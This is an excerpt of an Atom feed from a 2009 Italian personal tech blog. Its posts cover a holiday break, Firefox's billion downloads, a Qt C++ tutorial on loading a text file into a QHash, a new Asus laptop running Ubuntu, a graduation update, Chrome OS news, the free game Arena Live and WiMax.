src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-262722638827907792</id><published>2009-08-07T20:32:00.004+02:00</published><updated>2009-08-07T20:44:36.924+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><title type='text'>Meritato riposo</title><content type='html'>Sono arrivate le tanto sospirate ferie. Quest'anno io e la mia ragazzia puntiamo verso la Toscana.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.italianvisits.com/images/tuscany-im/san_gimignano-im/san_gimignano-panorama.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 332px; height: 219px;" src="http://www.italianvisits.com/images/tuscany-im/san_gimignano-im/san_gimignano-panorama.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Per questo il blog questa settimana, come capita da un  pochino, non avrà aggiornamenti.&lt;br /&gt;&lt;br /&gt;Ci vediamo il 17 agosto ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-262722638827907792?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/262722638827907792/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=262722638827907792' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/262722638827907792'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/262722638827907792'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/meritato-riposo.html' title='Meritato riposo'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-6257106741410996522</id><published>2009-08-03T22:09:00.002+02:00</published><updated>2009-08-03T22:16:24.593+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Firefox oltre un miliardo di volte</title><content type='html'>Lo so, lo so. In questi giorni sono usciti diversi articoli che riportano questa notizia.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://static.blogo.it/ossblog/1billiondownloadsheader.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 323px; height: 112px;" src="http://static.blogo.it/ossblog/1billiondownloadsheader.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Il fatto è che proprio non posso fare a meno di riportare questo evento anche sul mio blog. Sono proprio contento di questo traguardo raggiunto da Mozilla Firefox.&lt;br /&gt;&lt;br /&gt;Io uso sempre questo browser ed effettivamente non mi fiderei a circolare su iternet altrimenti.&lt;br /&gt;So che i suoi bug ce li ha anche il pandino ma mi sembra quasi uno scudo impenetrabile rispetto alla concorrenza. (Ok ok, parlatemi pure di Opera ma io mi tengo Firefox).&lt;br /&gt;&lt;br /&gt;Per non parlare della miriade di plug-in che praticamente rendono Firefox il coltellino svizzero del terzo millennio.&lt;br /&gt;&lt;br /&gt;Continuate cosi! :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-6257106741410996522?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/6257106741410996522/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=6257106741410996522' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6257106741410996522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/6257106741410996522'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/firefox-oltre-un-miliardo-di-volte.html' title='Firefox oltre un miliardo di volte'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8831613339055540298</id><published>2009-08-01T19:44:00.002+02:00</published><updated>2009-08-01T20:41:47.190+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Programmazione'/><category scheme='http://www.blogger.com/atom/ns#' term='Qt'/><category scheme='http://www.blogger.com/atom/ns#' term='C/C++'/><title type='text'>Utilizzo di Qt per i file</title><content type='html'>Siamo dunque giunti al primo di una serie di articoli che tratteranno le librerie Qt in maniera un po' più seria (e anche il primo articolo da dott. ihihih!!!).&lt;br /&gt;&lt;br /&gt;Apriamo il nostro fidato Qt Creator e proviamo a interagire con un file, che potrebbe essere benissimo un file di configurazione o un file di sistema.&lt;br /&gt;&lt;br /&gt;Per allenarci creeremo una funzione preso in input un file, una funzione per effettuare le modifiche a una stringa e una tabella hash (int,qstring) passata per puntatore, riempie la tabella con indice e stringa modificata dalla funzione.&lt;br /&gt;&lt;br /&gt;Nel nostro caso la funzione di modifica della stringa sarà semplicemente prendere i primi &lt;span style="font-style: italic;"&gt;x&lt;/span&gt; caratteri.&lt;br /&gt;&lt;pre style="border: 1px dashed rgb(153, 153, 153); padding: 5px; overflow: auto; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; line-height: 14px; width: 100%;"&gt;&lt;code&gt;void parseString( void * str )&lt;br /&gt;{&lt;br /&gt;  QString * objStr = (QString * ) str;&lt;br /&gt;&lt;br /&gt;  *objStr = (*objStr).left( CODE_LEN );&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Quindi nella nostra funzione fillHashTable andiamo ad aprire e scorrere il file come segue:&lt;br /&gt;&lt;br /&gt;1) Creiamo un oggetto di tipo QFile passandogli il path del file da aprire:&lt;br /&gt;&lt;pre style="border: 1px dashed rgb(153, 153, 153); padding: 5px; overflow: auto; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; line-height: 14px; width: 100%;"&gt;&lt;code&gt;    QFile filePtr (file);&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;2) Creiamo uno stream di dati sul file in sola lettura e cicliamo fino a che non viene raggiunta la fine del file.&lt;br /&gt;&lt;pre style="border: 1px dashed rgb(153, 153, 153); padding: 5px; overflow: auto; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; line-height: 14px; width: 100%;"&gt;&lt;code&gt;    QTextStream stream( &amp;amp;filePtr );&lt;br /&gt;   while( !stream.atEnd() )&lt;br /&gt;   {&lt;br /&gt;         line = stream.readLine();&lt;br /&gt;   }&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Ora con la linea ottenuta possiamo fare quello che vogliamo. Nell'esempio cerchiamo i token separati dallo spazio e il primo token sarà il numero il secondo la stringa da formattare.&lt;br /&gt;&lt;br /&gt;Ecco quindi l'intera funzione:&lt;br /&gt;&lt;pre style="border: 1px dashed rgb(153, 153, 153); padding: 5px; overflow: auto; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; color: rgb(0, 0, 0); background-color: rgb(238, 238, 238); font-size: 12px; line-height: 14px; width: 100%;"&gt;&lt;code&gt;void fillHashTable( QString file , void(*parser) (void * str), QHash &amp;lt;int , QString&amp;gt; * tb )&lt;br /&gt;{&lt;br /&gt;   QHash &amp;lt;int ,  QString&amp;gt; table;&lt;br /&gt;   QFile filePtr (file);&lt;br /&gt;   bool fin = false;&lt;br /&gt;&lt;br /&gt;   if( !filePtr.open(QIODevice::ReadOnly | QIODevice::Text) )&lt;br /&gt;   {&lt;br /&gt;       cout&amp;lt;&amp;lt;"ERRORE nell'apertura del file"&amp;lt;&amp;lt;endl;&lt;br /&gt;       exit( -2 );&lt;br /&gt;   }&lt;br /&gt;   table.clear();&lt;br /&gt;   QTextStream stream( &amp;amp;filePtr );&lt;br /&gt;   QString line, tok01 , tok02;&lt;br /&gt;   QStringList tokens;&lt;br /&gt;&lt;br /&gt;   while( !stream.atEnd() || !fin )&lt;br /&gt;   {&lt;br /&gt;       line = stream.readLine();&lt;br /&gt;       if( line == "" )&lt;br /&gt;       {&lt;br /&gt;           fin = true;&lt;br /&gt;           continue;&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       tokens = line.split( " " );&lt;br /&gt;       tok01 = tokens[0];&lt;br /&gt;       parseString( &amp;amp;tokens[1] );&lt;br /&gt;       tok02 = tokens[1];&lt;br /&gt;&lt;br /&gt;       table.insert( tok01.toInt() , tok02 );&lt;br /&gt;   }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   filePtr.close();&lt;br /&gt;&lt;br /&gt;   *tb = table;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si dovrà dunque scrivere un main che semplicemente stampa a console i valori inseriti nella tabella hash.&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;Importante:&lt;/span&gt; l'oggetto QHash appena creato ha già un elemento in posizione 0. Per questo va pulito con il metodo clear. In merito a questo, che per me è un difetto, sto cercando materiale ma per il momento non ho ancora trovato nulla.&lt;br /&gt;&lt;br /&gt;Ecco infine il main creato per quest'esempio:&lt;br /&gt;&lt;pre style="font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; color: #000000; background-color: #eee;font-size: 12px;border: 1px dashed #999999;line-height: 14px;padding: 5px; overflow: auto; width: 100%"&gt;&lt;code&gt;int main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;    QHash &amp;lt;int , QString&amp;gt;  table;&lt;br /&gt;    table.clear();&lt;br /&gt;    fillHashTable( &amp;quot;file.txt&amp;quot;, parseString, &amp;amp;table );&lt;br /&gt;    cout&amp;lt;&amp;lt;&amp;quot;Stampa della hash di dimensione &amp;quot;&amp;lt;&amp;lt;table.size()&amp;lt;&amp;lt;endl;&lt;br /&gt;    for( int i = 0; i &amp;lt; table.size() ; i++ )&lt;br /&gt;    {&lt;br /&gt;        cout&amp;lt;&amp;lt;i&amp;lt;&amp;lt;&amp;quot; : &amp;quot;&amp;lt;&amp;lt;table[i].toStdString()&amp;lt;&amp;lt;endl;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Per ora ho concluso. Buon divertimento con quest'esempio che può ovviamente essere adattato a molte situazioni.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8831613339055540298?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8831613339055540298/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8831613339055540298' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8831613339055540298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8831613339055540298'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/utilizzo-di-qt-per-i-file.html' title='Utilizzo di Qt per i file'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-1553960199652046276</id><published>2009-08-01T13:45:00.003+02:00</published><updated>2009-08-01T13:53:17.400+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IMPORTANTISSIMO'/><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><title type='text'>È arrivato il nuovo computer!!!</title><content type='html'>Ebbene si. Dopo anni di servizio il mio HP Compaq nx7400 che mi ha accomapagnato in tutti i laboratori e nella stesura della tesi è andato in pensione.&lt;br /&gt;&lt;br /&gt;La scelta è stata ardua ma alla fine abbiamo trovato il più degno sostituto:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://notebookitalia.it/images/com_sobi2/clients/1291_img.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 250px; height: 250px;" src="http://notebookitalia.it/images/com_sobi2/clients/1291_img.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;ecco la scheda tecnica che si può leggere anche &lt;a href="http://notebookitalia.it/scheda-tecnica-recensione/asus-x71sl-7s002c-4.html"&gt;qui&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Marca&lt;/span&gt;: Asus&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modello&lt;/span&gt;: X71SL-7S002C&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Processore&lt;/span&gt;: Intel Core 2 Duo P8400, 2.26 GHz, 3MB cache L2, FSB 1066 MHz&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Memoria&lt;/span&gt;: 4Gb DDR2 (ho fatto mettere 2 moduli da 2GB)&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Schermo&lt;/span&gt;: 17 pollici WXGA+ (1440 x 900) Asus Splendid - Glare Type&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Scheda Video&lt;/span&gt;: NVIDIA GeForce 9300M GS, 512MB dedicati&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Hard Disk&lt;/span&gt;: 320 GB SATA 5400 rpm&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Drive Ottico&lt;/span&gt;: Masterizzatore DVD DL Super Multi&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Porte&lt;/span&gt;: 1 x VGA D-Sub 15 pin, 4 x USB 2.0, 1 x HDMI, 1 x Kensington Lock, 1 x Uscita Cuffie, 1 x S/PDIF, 1 x jack Microfono, 1 x RJ-11, 1 x RJ-45, 1 x Express Card, Card Reader 8in1&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Networking&lt;/span&gt;: WiFi 802.11a/b/g/n, Gigabit Ethernet LAN 10/100/1000, Bluetooth 2.0+EDR, Modem V.92/56Kb&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Sistema Operativo&lt;/span&gt;: Gnu/Linux Ubuntu 9.04 (è stato immediatamente levato Windows Vista Premium che è in dotazione)&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Batteria&lt;/span&gt;: Li-Ion 8 celle&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Dimensioni&lt;/span&gt;: 410 x 298.5 x 38.4/41.7 mm&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Peso&lt;/span&gt;: circa 3.5 Kg&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Altro&lt;/span&gt;: Webcam 1.3MP, Tastierino numerico&lt;br /&gt;&lt;br /&gt;A voi i commenti.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-1553960199652046276?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/1553960199652046276/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=1553960199652046276' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1553960199652046276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/1553960199652046276'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/08/e-arrivato-il-nuovo-computer.html' title='È arrivato il nuovo computer!!!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-4978610128412912982</id><published>2009-07-22T21:09:00.004+02:00</published><updated>2009-07-22T21:16:46.539+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Aggiornamento'/><title type='text'>Un punto della situazione</title><content type='html'>Non uso quasi mai questo blog per comunicazioni personali ma questa volta mi sembra doveroso farlo.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.sevagram.it/saas/wp-content/uploads/image/tocco.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 361px; height: 361px;" src="http://www.sevagram.it/saas/wp-content/uploads/image/tocco.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dopo quattro anni sudati e con alti e bassi di ogni tipo sono giunto alla fine della laurea con un risultato tutto sommato, visto la corsa fatta, niente male.&lt;br /&gt;&lt;br /&gt;Ho anche cominciato a lavorare presso Capgemini Italia, qui nella città dove abito. Questo lavoro unito a una preparazione maniacale della tesi e di tutto ciò che riguarda la laurea hanno reso i post su questo blog una vera rarità. &lt;br /&gt;&lt;br /&gt;Sono stati molto più frequenti i twit soprattutto per una questione di velocità, ma il mio strumento preferito rimane sempre il blog.&lt;br /&gt;&lt;br /&gt;Ora che l'università, per il momento, è finita posso ritornare con un po' più di frequenza a fare i miei esperimenti e quindi i post sul blog e a seguire più assiduamente tutto ciò che avviene nel mondo open source.&lt;br /&gt;&lt;br /&gt;Quindi un bel "stay tuned" mi sembra d'obbligo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-4978610128412912982?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/4978610128412912982/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=4978610128412912982' title='2 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4978610128412912982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/4978610128412912982'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/07/un-punto-della-situazione.html' title='Un punto della situazione'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-8218305059457586362</id><published>2009-07-08T19:30:00.004+02:00</published><updated>2009-07-08T19:38:44.326+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gnu Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Google Os, la notizia innonda la rete!</title><content type='html'>Sapevo che esisteva. Non poteva non esistere. Infatti eccolo fra noi.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://arkandis.com/images/blog/google.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 336px; height: 238px;" src="http://arkandis.com/images/blog/google.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Una notizia echeggia per tutta la rete: Google sta per far uscire un nuovo sistema operativo web based. Ecco il link diretto al &lt;a href="http://googleblog.blogspot.com/2009/07/introducing-google-chrome-os.html"&gt;blog di Google&lt;/a&gt; dove mamma G da l'annuncio.&lt;br /&gt;&lt;br /&gt;Ora staremo a vedere. Pare che questo sistema operativo si basi su Linux e che sia fatto apposta per il web e i netbook.&lt;br /&gt;&lt;br /&gt;Staremo a vedere, ma sicuramente questa è una di quelle notizie che infiammano l'estate.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-8218305059457586362?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/8218305059457586362/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=8218305059457586362' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8218305059457586362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/8218305059457586362'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/07/google-os-la-notizia-innonda-la-rete.html' title='Google Os, la notizia innonda la rete!'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-7739422362625807832</id><published>2009-07-06T20:50:00.003+02:00</published><updated>2009-07-06T21:03:28.673+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Giochi'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><category scheme='http://www.blogger.com/atom/ns#' term='Free Software'/><title type='text'>Arena Live</title><content type='html'>Non c'è che dire, bisogna fare veramente i complimenti a questi ragazzi che hanno fatto un lavorone.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://libregamewiki.org/images/thumb/5/53/OpenArena-Rocket.jpg/320px-OpenArena-Rocket.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 256px;" src="http://libregamewiki.org/images/thumb/5/53/OpenArena-Rocket.jpg/320px-OpenArena-Rocket.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Esisteva già Open Arena, un gioco free basato sull'engine di Quake 3 Arena. Ma ora hanno fatto di più: &lt;a href="http://arenalive.zexos.org/"&gt;Arena Live&lt;/a&gt;. Questo gioco si propone di essere l'alternativa free al nuovo gioco di casa id, di prossimo arrivo su Gnu/Linux, Quake Live.&lt;br /&gt;&lt;br /&gt;L'ho provato ed il gioco è abbastanza giocabile, ma il peso di tale novità è grande. Un segnale alla casa: "ID, datti una mossa che qui se no ci si organizza altrimenti!".&lt;br /&gt;&lt;br /&gt;Dopo il 20, giorno della laurea tanto sudata, mi ci troverete ogni tanto. Nel frattempo, buon divertimento!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-7739422362625807832?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/7739422362625807832/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=7739422362625807832' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7739422362625807832'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/7739422362625807832'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/07/arena-live.html' title='Arena Live'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-3964791022576916567</id><published>2009-07-06T20:37:00.003+02:00</published><updated>2009-07-06T20:40:38.988+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='WiFi'/><title type='text'>WiMax è La tecnologia</title><content type='html'>Finalmente le prime notizie sulla tecnologia, la prima tecnologia, del futuro: WiMax.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.repubblica.it/2009/05/sezioni/tecnologia/banda-larga/wimax-adsl/este_05121856_20170.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 230px; height: 172px;" src="http://www.repubblica.it/2009/05/sezioni/tecnologia/banda-larga/wimax-adsl/este_05121856_20170.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Ebbene, come si può leggere in quest'articolo su &lt;a href="http://www.repubblica.it/2009/05/sezioni/tecnologia/banda-larga/wimax-adsl/wimax-adsl.html?ref=hpspr1"&gt;Repubblica&lt;/a&gt; WiMax batte indiscutibilmente Umts decretando la sconfitta di una tecnologia, a mio avviso fallimentare fino dall'inizio, ma tanto spinta dagli operatori che volevano guadagnare senza spendere.&lt;br /&gt;&lt;br /&gt;Solo così si batte il digital divide, banda larga ovunque a prezzi ragionevoli. Forza WiMax!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8006066354061501161-3964791022576916567?l=opentalking.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opentalking.blogspot.com/feeds/3964791022576916567/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8006066354061501161&amp;postID=3964791022576916567' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3964791022576916567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8006066354061501161/posts/default/3964791022576916567'/><link rel='alternate' type='text/html' href='http://opentalking.blogspot.com/2009/07/wimax-e-la-tecnologia.html' title='WiMax è La tecnologia'/><author><name>Massimiliano Giovine</name><uri>http://www.blogger.com/profile/12001974026515363691</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_sXS0ScZT1Nw/TB_c3I39Q2I/AAAAAAAAAho/l8--KQsgsWA/S220/31325_1495267103154_1278374608_1379470_7878255_n.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8006066354061501161.post-5456075012101745739</id><published>2009-06-21T00:18:00.002+02:00</published><updated>2009-06-21T00:28:28.640+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Twitter'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><title type='text'>Scopriamo Twitter</title><content type='html'>In effeti questa smentita nei miei confronti proprio non me l'aspettavo.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blogs.abiss.gr/mgogoulos/resource/twitter_logo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 300px; height: 50px;" src="http://blogs.abiss.gr/mgogoulos/resource/twitter_logo.png" border="0" alt="" 